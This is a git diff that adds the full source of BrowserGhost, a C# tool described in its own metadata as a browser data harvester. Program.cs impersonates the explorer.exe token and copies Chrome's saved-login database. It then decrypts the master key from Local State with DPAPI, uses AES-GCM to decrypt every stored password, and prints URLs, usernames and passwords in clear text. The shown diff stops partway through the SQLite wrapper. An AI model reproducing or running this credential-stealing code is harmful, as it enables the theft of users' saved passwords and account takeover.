diff --git a/1.png b/1.png new file mode 100644 index 0000000..3c1f0a3 Binary files /dev/null and b/1.png differ diff --git a/AesGcm.cs b/AesGcm.cs new file mode 100644 index 0000000..f5aa66f --- /dev/null +++ b/AesGcm.cs @@ -0,0 +1,136 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +namespace BrowserGhost +{ + //AES GCM from https://github.com/dvsekhvalnov/jose-jwt + class AesGcm + { + public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); + IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); + + byte[] plainText; + + var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); + using (authInfo) + { + byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; + + int plainTextSize = 0; + + uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); + + plainText = new byte[plainTextSize]; + + status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); + + if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) + throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch"); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); + } + + BCrypt.BCryptDestroyKey(hKey); + Marshal.FreeHGlobal(keyDataBuffer); + BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); + + return plainText; + } + + private int MaxAuthTagSize(IntPtr hAlg) + { + byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); + + return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); + } + + private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) + { + IntPtr hAlg = IntPtr.Zero; + + uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); + + byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); + status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); + + return hAlg; + } + + private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) + { + byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); + + int keyDataSize = BitConverter.ToInt32(objLength, 0); + + IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); + + byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); + + uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); + + return keyDataBuffer; + } + + private byte[] GetProperty(IntPtr hAlg, string name) + { + int size = 0; + + uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); + + byte[] value = new byte[size]; + + status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); + + return value; + } + + public byte[] Concat(params byte[][] arrays) + { + int len = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + len += array.Length; + } + + byte[] result = new byte[len - 1 + 1]; + int offset = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + Buffer.BlockCopy(array, 0, result, offset, array.Length); + offset += array.Length; + } + + return result; + } + } +} diff --git a/BCrypt.cs b/BCrypt.cs new file mode 100644 index 0000000..4c3c791 --- /dev/null +++ b/BCrypt.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Runtime.InteropServices; +using BrowserGhost; +using System.Security.Cryptography; + +namespace BrowserGhost +{ + public static class BCrypt + { + public const uint ERROR_SUCCESS = 0x00000000; + public const uint BCRYPT_PAD_PSS = 8; + public const uint BCRYPT_PAD_OAEP = 4; + + public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); + + public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; + public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; + public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; + public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; + public static readonly string BCRYPT_AES_ALGORITHM = "AES"; + + public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; + + public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; + public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; + + public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_PSS_PADDING_INFO + { + public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) + { + this.pszAlgId = pszAlgId; + this.cbSalt = cbSalt; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public int cbSalt; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable + { + public int cbSize; + public int dwInfoVersion; + public IntPtr pbNonce; + public int cbNonce; + public IntPtr pbAuthData; + public int cbAuthData; + public IntPtr pbTag; + public int cbTag; + public IntPtr pbMacContext; + public int cbMacContext; + public int cbAAD; + public long cbData; + public int dwFlags; + + public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() + { + dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; + cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); + + if (iv != null) + { + cbNonce = iv.Length; + pbNonce = Marshal.AllocHGlobal(cbNonce); + Marshal.Copy(iv, 0, pbNonce, cbNonce); + } + + if (aad != null) + { + cbAuthData = aad.Length; + pbAuthData = Marshal.AllocHGlobal(cbAuthData); + Marshal.Copy(aad, 0, pbAuthData, cbAuthData); + } + + if (tag != null) + { + cbTag = tag.Length; + pbTag = Marshal.AllocHGlobal(cbTag); + Marshal.Copy(tag, 0, pbTag, cbTag); + + cbMacContext = tag.Length; + pbMacContext = Marshal.AllocHGlobal(cbMacContext); + } + } + + public void Dispose() + { + if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); + if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); + if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); + if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_KEY_LENGTHS_STRUCT + { + public int dwMinLength; + public int dwMaxLength; + public int dwIncrement; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_OAEP_PADDING_INFO + { + public BCRYPT_OAEP_PADDING_INFO(string alg) + { + pszAlgId = alg; + pbLabel = IntPtr.Zero; + cbLabel = 0; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public IntPtr pbLabel; + public int cbLabel; + } + + [DllImport("bcrypt.dll")] + public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, + [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, + [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] + public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] + internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); + + + [DllImport("bcrypt.dll")] + public static extern uint BCryptImportKey(IntPtr hAlgorithm, + IntPtr hImportKey, + [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, + out IntPtr phKey, + IntPtr pbKeyObject, + int cbKeyObject, + byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) + int cbInput, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptEncrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + uint dwFlags); + + [DllImport("bcrypt.dll")] + internal static extern uint BCryptDecrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, + int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + int dwFlags); + } + +} \ No newline at end of file diff --git a/BrowserGhost.csproj b/BrowserGhost.csproj new file mode 100644 index 0000000..047a64e --- /dev/null +++ b/BrowserGhost.csproj @@ -0,0 +1,93 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {F1653F20-D47D-4F29-8C55-3C835542AF5F} + Exe + Properties + BrowserGhost + BrowserGhost + + + 3.5 + + + v2.0 + + + false + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + true + + + true + full + false + bin\Debug\ + TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF + prompt + 4 + 0168 ; 0169; 0414; 0618; 0649 + AnyCPU + + + pdbonly + true + bin\Release\ + TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF + prompt + 4 + x86 + 0168 ; 0169; 0414; 0618; 0649 + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + \ No newline at end of file diff --git a/BrowserGhost.sln b/BrowserGhost.sln new file mode 100644 index 0000000..e28404c --- /dev/null +++ b/BrowserGhost.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29613.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BrowserGhost", "BrowserGhost.csproj", "{F1653F20-D47D-4F29-8C55-3C835542AF5F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F1653F20-D47D-4F29-8C55-3C835542AF5F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F1653F20-D47D-4F29-8C55-3C835542AF5F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F1653F20-D47D-4F29-8C55-3C835542AF5F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F1653F20-D47D-4F29-8C55-3C835542AF5F}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {0F15F187-010C-49EB-9407-B24C4035BC38} + EndGlobalSection +EndGlobal diff --git a/Program.cs b/Program.cs new file mode 100644 index 0000000..b3ed3c3 --- /dev/null +++ b/Program.cs @@ -0,0 +1,404 @@ +using System; +using System.Data; + +using System.Security.Cryptography; +using System.Text; +using System.Diagnostics; + +using System.IO; + +using CS_SQLite3; + +using System.Management; + +using System.Runtime.InteropServices; + + + + + + +namespace BrowserGhost +{ + class Program + { + + + // Constants that are going to be used during our procedure. + private const int ANYSIZE_ARRAY = 1; + public static uint SE_PRIVILEGE_ENABLED = 0x00000002; + public static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public static uint STANDARD_RIGHTS_READ = 0x00020000; + public static uint TOKEN_ASSIGN_PRIMARY = 0x00000001; + public static uint TOKEN_DUPLICATE = 0x00000002; + public static uint TOKEN_IMPERSONATE = 0x00000004; + public static uint TOKEN_QUERY = 0x00000008; + public static uint TOKEN_QUERY_SOURCE = 0x00000010; + public static uint TOKEN_ADJUST_PRIVILEGES = 0x00000020; + public static uint TOKEN_ADJUST_GROUPS = 0x00000040; + public static uint TOKEN_ADJUST_DEFAULT = 0x00000080; + public static uint TOKEN_ADJUST_SESSIONID = 0x00000100; + public static uint TOKEN_READ = STANDARD_RIGHTS_READ | TOKEN_QUERY; + public static uint TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID; + + [StructLayout(LayoutKind.Sequential)] + public struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public UInt32 Attributes; + + public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001; + public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002; + public const UInt32 SE_PRIVILEGE_REMOVED = 0x00000004; + public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000; + } + + // Luid Structure Definition + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + } + + public struct TOKEN_PRIVILEGES + { + public int PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = ANYSIZE_ARRAY)] + public LUID_AND_ATTRIBUTES[] Privileges; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PRIVILEGE_SET + { + public uint PrivilegeCount; + public uint Control; // use PRIVILEGE_SET_ALL_NECESSARY + + public static uint PRIVILEGE_SET_ALL_NECESSARY = 1; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] + public LUID_AND_ATTRIBUTES[] Privilege; + } + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + + + + // LookupPrivilegeValue + [DllImport("advapi32.dll")] + static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + //回退到原始权限 + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool RevertToSelf(); + + + // OpenProcess + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess( + ProcessAccessFlags processAccess, + bool bInheritHandle, + int processId); + public static IntPtr OpenProcess(Process proc, ProcessAccessFlags flags) + { + return OpenProcess(flags, false, proc.Id); + } + + // OpenProcessToken + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); + + // DuplicateToken + [DllImport("advapi32.dll")] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); + + // SetThreadToken + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken); + + // AdjustTokenPrivileges + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, + [MarshalAs(UnmanagedType.Bool)]bool DisableAllPrivileges, + ref TOKEN_PRIVILEGES NewState, + UInt32 BufferLengthInBytes, + ref TOKEN_PRIVILEGES PreviousState, + out UInt32 ReturnLengthInBytes); + + // GetCurrentProcess + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr GetCurrentProcess(); + + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool PrivilegeCheck( + IntPtr ClientToken, + ref PRIVILEGE_SET RequiredPrivileges, + out bool pfResult + ); + + // Now I will create functions that use the above definitions, so we can use them directly from PowerShell :P + public static bool IsPrivilegeEnabled(string Privilege) + { + bool ret; + LUID luid = new LUID(); + IntPtr hProcess = GetCurrentProcess(); + IntPtr hToken; + if (hProcess == IntPtr.Zero) return false; + if (!OpenProcessToken(hProcess, TOKEN_QUERY, out hToken)) return false; + if (!LookupPrivilegeValue(null, Privilege, out luid)) return false; + PRIVILEGE_SET privs = new PRIVILEGE_SET { Privilege = new LUID_AND_ATTRIBUTES[1], Control = PRIVILEGE_SET.PRIVILEGE_SET_ALL_NECESSARY, PrivilegeCount = 1 }; + privs.Privilege[0].Luid = luid; + privs.Privilege[0].Attributes = LUID_AND_ATTRIBUTES.SE_PRIVILEGE_ENABLED; + if (!PrivilegeCheck(hToken, ref privs, out ret)) return false; + return ret; + } + + public static bool EnablePrivilege(string Privilege) + { + LUID luid = new LUID(); + IntPtr hProcess = GetCurrentProcess(); + IntPtr hToken; + if (!OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, out hToken)) return false; + if (!LookupPrivilegeValue(null, Privilege, out luid)) return false; + // First, a LUID_AND_ATTRIBUTES structure that points to Enable a privilege. + LUID_AND_ATTRIBUTES luAttr = new LUID_AND_ATTRIBUTES { Luid = luid, Attributes = LUID_AND_ATTRIBUTES.SE_PRIVILEGE_ENABLED }; + // Now we create a TOKEN_PRIVILEGES structure with our modifications + TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES { PrivilegeCount = 1, Privileges = new LUID_AND_ATTRIBUTES[1] }; + tp.Privileges[0] = luAttr; + TOKEN_PRIVILEGES oldState = new TOKEN_PRIVILEGES(); // Our old state. + if (!AdjustTokenPrivileges(hToken, false, ref tp, (UInt32)Marshal.SizeOf(tp), ref oldState, out UInt32 returnLength)) return false; + return true; + } + + public static bool ImpersonateProcessToken(int pid) + { + IntPtr hProcess = OpenProcess(ProcessAccessFlags.QueryInformation, true, pid); + if (hProcess == IntPtr.Zero) return false; + IntPtr hToken; + if (!OpenProcessToken(hProcess, TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out hToken)) return false; + IntPtr DuplicatedToken = new IntPtr(); + if (!DuplicateToken(hToken, 2, ref DuplicatedToken)) return false; + if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) return false; + return true; + } + private static string GetProcessUserName(int pID) + { + + + string text1 = null; + + + SelectQuery query1 = + new SelectQuery("Select * from Win32_Process WHERE processID=" + pID); + ManagementObjectSearcher searcher1 = new ManagementObjectSearcher(query1); + + + try + { + foreach (ManagementObject disk in searcher1.Get()) + { + ManagementBaseObject inPar = null; + ManagementBaseObject outPar = null; + + + inPar = disk.GetMethodParameters("GetOwner"); + + + outPar = disk.InvokeMethod("GetOwner", inPar, null); + + + text1 = outPar["User"].ToString(); + break; + } + } + catch + { + text1 = "SYSTEM"; + } + + + return text1; + } + + public static byte[] GetMasterKey(string filePath) + { + //Key saved in Local State file + + byte[] masterKey = new byte[] { }; + + if (File.Exists(filePath) == false) + return null; + + //Get key with regex. + var pattern = new System.Text.RegularExpressions.Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath)); + + foreach (System.Text.RegularExpressions.Match prof in pattern) + { + if (prof.Success) + masterKey = Convert.FromBase64String((prof.Groups[1].Value)); //Decode base64 + } + + //Trim first 5 bytes. Its signature "DPAPI" + byte[] temp = new byte[masterKey.Length - 5]; + Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5); + + try + { + return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser); + } + catch (Exception ex) + { + Console.WriteLine(ex.ToString()); + return null; + } + } + + + + public static string DecryptWithKey(byte[] encryptedData, byte[] MasterKey) + { + byte[] iv = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; // IV 12 bytes + + //trim first 3 bytes(signature "v10") and take 12 bytes after signature. + Array.Copy(encryptedData, 3, iv, 0, 12); + + try + { + //encryptedData without IV + byte[] Buffer = new byte[encryptedData.Length - 15]; + Array.Copy(encryptedData, 15, Buffer, 0, encryptedData.Length - 15); + + byte[] tag = new byte[16]; //AuthTag + byte[] data = new byte[Buffer.Length - tag.Length]; //Encrypted Data + + //Last 16 bytes for tag + Array.Copy(Buffer, Buffer.Length - 16, tag, 0, 16); + + //encrypted password + Array.Copy(Buffer, 0, data, 0, Buffer.Length - tag.Length); + + AesGcm aesDecryptor = new AesGcm(); + var result = Encoding.UTF8.GetString(aesDecryptor.Decrypt(MasterKey, iv, null, data, tag)); + + return result; + } + catch (Exception ex) + { + Console.WriteLine(ex.ToString()); + return null; + } + } + + static void Main(string[] args) + { + + + Console.WriteLine("[+] Current user {0}", Environment.UserName); + + //先获取 explorer.exe 进程 + foreach (Process p in Process.GetProcesses()) + { + int pid = p.Id; + string processname = p.ProcessName; + string process_of_user = GetProcessUserName(pid); + + // Recvtoself + if (processname == "explorer") + { + + Console.WriteLine("[+] [{0}] [{1}] [{2}]", pid, processname, process_of_user); + + ImpersonateProcessToken(pid); + Console.WriteLine("[+] Impersonate user {0}", Environment.UserName); + Console.WriteLine("[+] Current user {0}", Environment.UserName); + + + //copy login data + string login_data_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; + string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State"; + string login_data_tempFile = Path.GetTempFileName(); + File.Copy(login_data_path, login_data_tempFile, true); + + Console.WriteLine("[+] Copy {0} to {1}", login_data_path, login_data_tempFile); + + SQLiteDatabase database = new SQLiteDatabase(login_data_tempFile); + string query = "SELECT origin_url, username_value, password_value FROM logins"; + DataTable resultantQuery = database.ExecuteQuery(query); + + foreach (DataRow row in resultantQuery.Rows) + { + string url; + string username; + try + { + url = (string)row["origin_url"]; + username = (string)row["username_value"]; + } + catch + { + continue; + } + + + byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]); + string password; + try + { + //老版本解密 + password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser)); + + //Console.WriteLine("{0} {1} {2}", originUrl, username, password); + } + catch (Exception ex) //如果异常了就用新加密方式尝试 + { + + byte[] masterKey = GetMasterKey(chrome_state_file); + password = DecryptWithKey(passwordBytes, masterKey); + + + } + + + Console.WriteLine("\tURL -> {0}\n\tUSERNAME -> {1}\n\tPASSWORD -> {2}\n", url, username, password); + + } + database.CloseDatabase(); + System.IO.File.Delete(login_data_tempFile); + Console.WriteLine("[+] Delete File {0}", login_data_tempFile); + //回退权限 + RevertToSelf(); + Console.WriteLine("[+] Recvtoself"); + Console.WriteLine("[+] Current user {0}", Environment.UserName); + break; + + } + + } + + } + + + + + } +} + diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..4254ccf --- /dev/null +++ b/Properties/AssemblyInfo.cs @@ -0,0 +1,33 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("BrowserGhost")] +[assembly: AssemblyDescription("BrowserGhost is a Chrome, Firefox and Edge data harvestor.")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("2133c634-4139-466e-8983-9a23ec99e01b")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +[assembly: AssemblyVersion( "3.6.17.1" )] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SQLite/SQLiteDatabase.cs b/SQLite/SQLiteDatabase.cs new file mode 100644 index 0000000..fdc62a5 --- /dev/null +++ b/SQLite/SQLiteDatabase.cs @@ -0,0 +1,252 @@ +// $Header$ +using System; +using System.Data; +using System.Collections; +using System.Collections.Generic; +using System.Threading; +using System.Security.Cryptography; +using System.Text; +using System.Diagnostics; +using System.Security.Principal; +using System.IO; +using System.Reflection; + +namespace CS_SQLite3 +{ + + using sqlite = CSSQLite.sqlite3; + using Vdbe = CSSQLite.Vdbe; + /// + /// C#-SQLite wrapper with functions for opening, closing and executing queries. + /// + public class SQLiteDatabase + { + // pointer to database + private sqlite db; + + /// + /// Creates new instance of SQLiteBase class with no database attached. + /// + public SQLiteDatabase() + { + db = null; + } + /// + /// Creates new instance of SQLiteDatabase class and opens database with given name. + /// + /// Name (and path) to SQLite database file + public SQLiteDatabase( String DatabaseName ) + { + OpenDatabase( DatabaseName ); + } + + /// + /// Opens database. + /// + /// Name of database file + public void OpenDatabase( String DatabaseName ) + { + // opens database + if ( CSSQLite.sqlite3_open( DatabaseName, ref db ) != CSSQLite.SQLITE_OK ) + { + // if there is some error, database pointer is set to 0 and exception is throws + db = null; + throw new Exception( "Error with opening database " + DatabaseName + "!" ); + } + } + + /// + /// Closes opened database. + /// + public void CloseDatabase() + { + // closes the database if there is one opened + if ( db != null ) + { + CSSQLite.sqlite3_close( db ); + } + } + + /// + /// Returns connection + /// + public sqlite Connection() + { + return db; + } + + /// + /// Returns the list of tables in opened database. + /// + /// + public ArrayList GetTables() + { + // executes query that select names of all tables in master table of the database + String query = "SELECT name FROM sqlite_master " + + "WHERE type = 'table'" + + "ORDER BY 1"; + DataTable table = ExecuteQuery( query ); + + // Return all table names in the ArrayList + ArrayList list = new ArrayList(); + foreach ( DataRow row in table.Rows ) + { + list.Add( row.ItemArray[0].ToString() ); + } + return list; + } + + /// + /// Executes query that does not return anything (e.g. UPDATE, INSERT, DELETE). + /// + /// + public void ExecuteNonQuery( String query ) + { + // calles SQLite function that executes non-query + CSSQLite.sqlite3_exec( db, query, 0, 0, 0 ); + // if there is error, excetion is thrown + if ( db.errCode != CSSQLite.SQLITE_OK ) + throw new Exception( "Error with executing non-query: \"" + query + "\"!\n" + CSSQLite.sqlite3_errmsg( db ) ); + } + + /// + /// Executes query that does return something (e.g. SELECT). + /// + /// + /// + public DataTable ExecuteQuery( String query ) + { + // compiled query + SQLiteVdbe statement = new SQLiteVdbe(this, query); + + // table for result of 